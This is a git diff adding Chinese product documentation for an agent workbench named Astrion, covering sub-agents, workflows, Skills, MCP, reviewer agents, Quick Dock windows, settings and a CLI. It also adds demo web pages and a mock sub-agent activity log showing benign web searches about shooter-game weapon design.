精确恢复/撤销某一轮任务的修改 | 修改留痕 diff | +| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网,不是版本管理的替代品 | + +推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」,三张网叠加,AI 怎么折腾都丢不了东西。 diff --git a/content/07-agent-capabilities.md b/content/07-agent-capabilities.md new file mode 100644 index 0000000..b3675cd --- /dev/null +++ b/content/07-agent-capabilities.md @@ -0,0 +1,156 @@ +# 智能体能力 + +Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。 + +--- + +## 1. 子智能体 + +### 是什么 + +子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。 + +它**不适合**什么:子智能体之间无法通信、看不到主对话历史,所以协作型任务(A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。 + +### 怎么用 + +通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」,它会自己判断拆分成子智能体。两种运行方式: + +- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景; +- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。 + +你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。 + +### 生命周期与限制 + +- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止); +- 并发上限默认 **5**(`SUB_AGENT_MAX_ACTIVE`); +- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上); +- 产出物约定放在工作区 `sub_agent_results/` 下。 + +### 怎么配(模型库) + +子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。 + +## 2. 多智能体对话 + +### 是什么 + +一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader,负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。 + +### 角色系统 + +预置 5 个角色: + +| 角色 | 职责 | +|------|------| +| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 | +| UI Operator | 界面操作与视觉验证 | +| Code Reviewer | 代码审查 | +| Researcher | 调研与信息收集 | +| Brainstormer | 头脑风暴与方案发散 | + +角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。 + +**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件: + +```markdown +--- +id: full-stack-engineer # 角色ID +name: Full-Stack Engineer # 显示名 +description: 职责一句话 # Team Leader 据此派活 +model: "" # 指定模型(留空用子智能体模型库默认) +thinking_mode: thinking # fast / thinking +--- + +(正文是该角色的系统提示词:职责、工作原则、约束……) +``` + +### 通信机制(用起来需要知道的) + +- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮); +- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**; +- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。 + +### 什么时候用多智能体 + +适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。 + +## 3. 工作流 + +### 是什么 + +把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。 + +### 怎么用 + +- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择; +- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段); +- 分支:流程到分支点时,AI 给出可选路径菜单让你拍板; +- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展; +- 同一对话同时只能激活一个工作流。 + +### 内置工作流 + +| 工作流 | 用途 | +|--------|------| +| bug-fix-triage | 缺陷分诊与修复流程 | +| code-review-pipeline | 代码评审流水线 | +| feature-development | 功能开发全流程 | +| research-report | 调研报告生成流程 | + +### 自定义工作流 + +参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。 + +工作流审核由**工作流审核智能体**(`workflow_review`)执行,配置见下文「审核智能体」。 + +## 4. Skills(技能包) + +### 是什么 + +Skill = 一个文件夹 + 一份 `SKILL.md`(带元信息的技能说明书)。它把「某类任务该怎么做」的经验沉淀下来,AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。 + +### 内置 Skills(12 个) + +`agent-build-standard`(Agent 架构教学)、`agents-md-writer`(写 AGENTS.md)、`docx`(Word 文档)、`pptx`(PPT)、`frontend-design`(前端设计)、`ui-aesthetic-design`(UI 美学)、`skill-creator`(创建新 Skill)、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`(MCP 自助配置)。 + +### 怎么用 + +- 插入引用:输入 `//` 或 `+` 菜单 →「选择 AgentSkill」,把技能引用插进消息; +- 启用/停用:个人空间「工具与 Skills」页管理启用列表; +- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用,熟练后可关; +- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。 + +### 自定义 Skill + +直接对 AI 说「把今天的流程沉淀成一个 skill」,它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`。 + +## 5. MCP 工具扩展 + +通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……),接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。 + +- **配置文件**:`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖); +- **总开关**:`MCP_TOOLS_ENABLED`(默认开); +- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒; +- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。 + +## 6. 审核智能体(三个) + +三个在关键节点替你把关的独立 AI,统一在个人空间「审核智能体」页配置,**模型复用子智能体模型库**: + +| 审核智能体 | 介入时机 | +|------------|----------| +| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 | +| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 | +| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 | + +每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。 + +> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。 + +## 7. 组合玩法示例 + +- **多智能体 + 工作流**:激活 feature-development 工作流后,Team Leader 按流程指挥角色团队逐阶段交付; +- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活; +- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。 diff --git a/content/08-quick-dock.md b/content/08-quick-dock.md new file mode 100644 index 0000000..ef581dc --- /dev/null +++ b/content/08-quick-dock.md @@ -0,0 +1,33 @@ +# 快捷窗口(Quick Dock) + +对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。 + +--- + +## 1. 五个窗口 + +自上而下依次是: + +| 窗口 | 显示什么 | 典型操作 | +|------|----------|----------| +| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 | +| **待办** | AI 创建的任务清单(todo):每件事的完成状态 | 看 AI 的执行计划推进到哪一步 | +| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 | +| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 | +| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**(host 模式)/ **复制路径** | + +### 详情面板 + +- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭; +- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。 + +## 2. 展开与收起 + +- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方; +- 个人空间可改为**仅手动展开**(`quick_dock_auto_expand`),或**整体隐藏**(`hide_quick_dock`)。 + +## 3. 使用心法 + +- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭; +- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板; +- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。 diff --git a/content/09-settings.md b/content/09-settings.md new file mode 100644 index 0000000..7ef10ab --- /dev/null +++ b/content/09-settings.md @@ -0,0 +1,154 @@ +# 个人空间设置全解 + +个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。 + +> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。 + +--- + +## 1. 常规 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 | + +## 2. 个性化 + +这一页决定「AI 用什么人格与你相处」。 + +| 设置项 | 默认 | 作用与场景 | +|--------|------|------------| +| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 | +| AI 自称 | 空 | AI 如何称呼自己(≤20 字),如「小A」 | +| 称呼你 | 空 | AI 如何称呼你(≤20 字) | +| 职业 | 空 | 你的职业(≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 | +| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 | +| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 | +| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) | +| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** | + +## 3. 模型与思考 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 | +| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高,快速模式响应更快 | +| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 | + +> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。 + +## 4. 外观与显示 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) | +| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) | +| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 | +| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 | +| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) | +| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 | +| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 | +| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 | +| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 | +| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 | +| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock | +| 编辑摘要实时显示 | 关 | 开:AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 | +| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 | +| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 | +| 新建对话按钮行为 | 跳转空白页 | route:跳到空白新对话页 / blank:立即创建空对话 | + +## 5. 工作区与权限 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 | +| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 | +| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 | +| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.md,AI 始终带着项目规范干活。长期项目建议开 | +| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 | +| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 | +| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) | +| 目标审核模式 | 仅读对话 | 目标模式的审核方式:readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 | +| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 | +| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停(1k–100M)。注意是工作区级近似统计 | + +## 6. 上下文 + +这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 | +| 最近对话数量 | 10 | 上面那项的 N,1–30 | +| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数(≥5,可设无上限) | +| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 | +| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** | +| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 | +| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 | +| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 | +| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 | +| 自动深压缩 | 开 | 推荐保持开启 | +| 深压缩触发 token | 150000 | 同样遵守 80% 规则 | +| 深压缩产物形式 | 生成文件 | file:总结写入文件随取随用(推荐)/ inject:直接注入总结全文 | + +## 7. 工具与 Skills + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 | +| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 | +| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 | +| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill | +| 强约束:终端 | 关 | 开:AI 使用终端工具前必须先读 terminal-guide 规范 | +| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide | +| 强约束:前台命令 | 关 | 开:run_command 前台模式前必须先读规范 | +| 强约束:后台命令 | 关 | 开:run_command 后台模式前必须先读规范 | +| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 | +| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) | + +四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。 + +## 8. 文件与图片 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 | + +## 9. 数据管理 + +只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数,支持手动刷新。用来回答「我这个月烧了多少 token」。 + +## 10. 语音模型 + +端侧语音识别模型(SenseVoice int8)的下载管理:约 228MB,**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。 + +## 11. 子智能体 + +多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。 + +## 12. 审核智能体 + +三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配: + +| 字段 | 说明 | +|------|------| +| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** | +| 思考模式 | fast / thinking | +| 超时时间 | 单次审核的最长等待 | +| 最大轮数 | 审核智能体自身的工作轮数上限 | +| 命令超时 | 审核中执行核查命令的单条超时 | + +配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。 + +## 13. 管理员(仅管理员可见) + +管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。 + +--- + +## 附:设置生效机制 + +- 所有设置存储在数据目录的 `personalization.json`,按用户隔离; +- 「默认 XX」类设置只影响新建对象(新对话/新终端),不改已有的; +- 显示类设置(主题、显示模式等)即时生效; +- 涉及提示词注入的设置(个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。 diff --git a/content/10-cli.md b/content/10-cli.md new file mode 100644 index 0000000..1545334 --- /dev/null +++ b/content/10-cli.md @@ -0,0 +1,36 @@ +# CLI(开发中) + +> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。 + +--- + +## 1. 是什么 + +一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI,让你不打开浏览器也能与 Astrion 对话。 + +关键点:CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`),所有对话、工具执行、权限控制都走后端,CLI 只是一个更轻的交互界面。 + +## 2. 启动 + +```bash +npm --prefix cli install # 首次安装依赖 +npm run cli # 启动,自动连接本地 8091 服务 +``` + +启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。 + +## 3. 当前能力与边界 + +- 基础对话、流式输出、工具调用展示; +- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`); +- 思考内容默认折叠,只显示「思考中 / 思考完成」; +- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。 + +## 4. 面向开发者 + +```bash +npm run cli:typecheck # 类型检查 +npm run cli:build # 构建(产物提供 agents / agents-cli 命令) +``` + +CLI 代码在 `cli/src/`(`App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。 diff --git a/content/README.md b/content/README.md new file mode 100644 index 0000000..67e6814 --- /dev/null +++ b/content/README.md @@ -0,0 +1,31 @@ +# Astrion 官网文档(中文版文案) + +本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。 + +## 章节地图 + +| 文件 | 章节 | 读者 | +|------|------|------| +| `01-quick-start.md` | 快速上手:安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 | +| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) | +| `03-conversations.md` | 对话:对话类型、思考模式与推理强度、目标模式(Beta)、对话面板、对话管理 | 用户 | +| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 | +| `05-execution-security.md` | 执行与安全:两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 | +| `06-conversation-assets.md` | 对话资产管理:版本控制、修改留痕、Git 状态栏 | 用户 | +| `07-agent-capabilities.md` | 智能体能力:子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 | +| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 | +| `09-settings.md` | 个人空间设置全解:12 个标签页逐项说明 | 用户(工具书式查阅) | +| `10-cli.md` | CLI(开发中):形态、启动、当前边界 | 用户/开发者 | + +## 写作约定 + +- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准; +- 安全性内容如实标注(macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离); +- Beta/开发中功能明确标注; +- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。 + +## 待补充(设计官网阶段) + +- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组) +- 首页 landing 文案与截图 +- 截图与演示素材(需运行实例采集) diff --git a/demo/anim-demo.html b/demo/anim-demo.html new file mode 100644 index 0000000..88e50a7 --- /dev/null +++ b/demo/anim-demo.html @@ -0,0 +1,20 @@ + + + + + +运行模式动画 demo + + + + + +
+

点击顶部标签切换模式;再次点击当前标签重播。

+
+
+ + + + + diff --git a/demo/anim2-demo.html b/demo/anim2-demo.html new file mode 100644 index 0000000..d742c16 --- /dev/null +++ b/demo/anim2-demo.html @@ -0,0 +1,49 @@ + + + + + +沙箱与网络授权动画 demo + + + + + + +
+

点击顶部标签切换情节;再次点击当前标签重播。

+
+
+ + + + + + diff --git a/demo/anim3-demo.html b/demo/anim3-demo.html new file mode 100644 index 0000000..2281f4e --- /dev/null +++ b/demo/anim3-demo.html @@ -0,0 +1,68 @@ + + + + + +修改记录动画 demo + + + + + +
+

自动播放;点击场景重播。

+ +
+
+ + +
+ +
+ + +
+ +
+ + +
+
+
+
+
+
+
+
+ + + + + + + +
+
-theme: 'dark'
+
+theme: 'classic'
+
-fontSize: 13, lineHeight: 1.4
+
+fontSize: 14, lineHeight: 1.6
+
+ +
+
+
+ + + + + diff --git a/demo/demo.html b/demo/demo.html new file mode 100644 index 0000000..ae56bf6 --- /dev/null +++ b/demo/demo.html @@ -0,0 +1,88 @@ + + + + + + Astrion + + + + + + + + + +
+ + + + + + + + diff --git a/demo/index.html b/demo/index.html new file mode 100644 index 0000000..e9f3809 --- /dev/null +++ b/demo/index.html @@ -0,0 +1,184 @@ + + + + + +Astrion — 住在你机器上的智能体工作台 + + + + + + + + + + + + +
+ +
+ +
+ + +
+
+

开源 · 自托管 · 本机优先

+
+

Astrion

+
+

住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。

+ +

+ Terminal (beta) + + Web + + Windows + + macOS + + Android +

+
+
+ + +
+
+

Demo

+

它工作时的样子

+

下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。

+
+
+
+ +
+
+

演示环境只含静态数据;实际使用由你自己的模型驱动。

+
+ + +
+
+

Features

+

围绕「放心交给它做事」设计

+
+ +
+ +
+
+

01

+

计划 / 询问 / 执行

+

三种运行模式决定它什么时候动手。
计划模式只出方案,批准后才开始改;
询问模式先讨论清楚再开工;
执行模式直接做完再汇报。

+
+ +
+ +
+
+

02

+

沙箱与网络授权

+

命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。
macOS 使用系统沙箱,Windows 通过 WSL2 获得完整隔离;
网络权限单独开关,与文件权限互不影响。

+
+ +
+ +
+
+

03

+

修改记录

+

每一次文件编辑都留下一条 diff:
改了哪个文件、加了几行、删了几行。
按任务逐条查看,也可以单独撤销其中任意一次修改。

+
+
+ +
+
+

04

+

版本控制

+

每条消息自动成为一个检查点。
发现方向不对时,回退到任意一条消息之前——
对话和文件一起还原,不用手工收拾残局。

+
+
+ +
+
+ + +
+
+

FAQ

+

常见问题

+
+
+ +
+ 运行 Astrion 需要什么环境? +

Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、Windows(WSL2)都可以运行。

+
+ +
+ 我的数据存在哪里? +

全部在你自己的机器上:对话记录、工作区文件、日志默认放在 ~/.astrion/astrion/ 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。

+
+ +
+ 宿主机模式和 Docker 模式有什么区别? +

宿主机模式下 Astrion 直接操作你的本机文件,适合处理日常工作和本地代码;Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。

+
+ +
+ 支持哪些模型? +

任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。

+
+ +
+ 可以部署给多人使用吗? +

可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。

+
+ +
+ 它执行命令安全吗? +

有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。

+
+ +
+
+ +
+ + + + + + + + + + diff --git a/demo/mock/activity-sub_1_1787459389_fd8265.json b/demo/mock/activity-sub_1_1787459389_fd8265.json new file mode 100644 index 0000000..2a22486 --- /dev/null +++ b/demo/mock/activity-sub_1_1787459389_fd8265.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "running", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392033}, {"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "completed", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392035}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392038}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392094}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "running", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459394529}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459398155}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "running", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459398157}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "completed", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459403781}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459406580}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459411895}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459411898}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459417674}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459420862}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459426631}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 环绕 子机"}, "ts": 1787459426634}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 